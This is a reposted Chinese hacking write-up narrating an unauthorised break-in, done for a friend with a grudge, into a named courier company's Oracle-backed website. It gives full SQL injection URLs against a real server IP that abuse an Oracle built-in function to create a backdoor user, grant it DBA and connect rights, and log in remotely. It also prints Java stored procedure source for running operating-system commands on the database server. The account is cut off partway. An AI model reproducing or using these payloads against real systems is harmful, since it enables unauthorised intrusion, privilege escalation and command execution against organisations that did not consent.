当前位置: 代码网 > 服务器>网络安全>脚本攻防 > 对著名快递公司的艰难的oracle入侵过程(图)

对著名快递公司的艰难的oracle入侵过程(图)

2008年10月08日 脚本攻防 我要评论
对著名快递公司的艰难的oracle入侵过程(图) 轻车熟路   一个对新飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像... 08-10-08
结果如图
  

  继续提交
select member from v$logfile where rownum=1
  获得操作系统版本,如图
  

  确定是windows,下面查看服务器sid,提交select instance_name from v$instance,如图
  

  待会远程连接要用的,下面确定下主机ip,telnet 漏洞页上显示的ip地址的1521端口,为oracle的端口, ,成功,1521开放,下面就本地架设个oracle客户端,利用oracle的那些默认帐号密码登录,尝试n次均失败告终,管理员安全意思不错,表扬下!^.^
  下面就利用oracle的内置函数sys.dbms_export_extension.get_domain_index_tables过滤不严的漏洞,至于这个函数的具体漏洞形成的原因,这里就不占篇幅了,想知道的可以去我博客,对oracle不熟悉的可以跳过这一部分,继续构造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''create user rebeyond identified by rebeyond'''';end;'';end;--','sys',0,'1',0)=''--;
  这里讲解下,and后面把函数求逻辑或然后与空比较,这样系统会先求函数值,便会执行我们构造在函数里的语句,这样就往数据库加了个用户名为rebeyond密码为rebeyond的用户,然后执行
http://211.154.103.15/server2.asp?wen=四川省' and ''||sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''grant sysdba to rebeyond'''';end;'';end;--','sys',0,'1',0)=''--
  便把我们建的用户加为dba权限,下面赋予用户远程连接权限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''grant connect to rebeyond'''';end;'';end;--','sys',0,'1',0)=''--
  ,好了,下面远程连接!
  ● 峰回路转
  本以为建了dba权限的用户,远程连接继续拿权限就完了,但是当我以dba身份登录时却出现这个,如图:
  

  百度了下才知道是服务器那边配置的问题,由于是服务器端的问题,一时不好解决,就暂时先用normal方式登录,连接成功,进去去权限设置那把权限能勾的都勾上,如图:
  

  因为我们毕竟是dba权限的,虽然没以dba方式登录,但是除了开关数据库,其他权限还是都有的,然后就是想办法提权拿服务器,虽然oracle不支持xp_cmdshell直接执行系统命令,但是对pl\sql的支持是非常另人激动的,因为可以通过建立java存储过程来执行命令,注意这时建完shell后要对数据库用户赋予对磁盘文件操作的权限(在sqlplus里执行):
call dbms_java.grant_permission('rebeyond','java.io.filepermission','c:/a.txt','read,write');
  。cmd打开sqlplus(和oracle客户端一起安装的),输入sqlplus /nolog,然后输入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(service_name=orcl]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(service_name=orcl[/email])));
  是不是用到了我们前面爆出的服务器sid呢,hoho,连接成功,下面开始执行命令,创建java存储过程,代码如下:
  java存储过程:
create or replace and compile
java source named "util"
as
import java.io.*;
import java.lang.*;
public class util extends object
{
public static int runthis(string args)
{
runtime rt = runtime.getruntime();
int rc = -1;
try
{
process p = rt.exec(args);
int bufsize = 4096;
bufferedinputstream bis =new bufferedinputstream(p.getinputstream(), bufsize);
int len;
byte buffer[] = new byte[bufsize];
// echo back what the program spit out
while ((len = bis.read(buffer, 0, bufsize)) != -1)
system.out.write(buffer, 0, len);
rc = p.waitfor();
}
catch (exception e)
{
e.printstacktrace();
rc = -1;
}
finally
{
return rc;
}
}
}
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com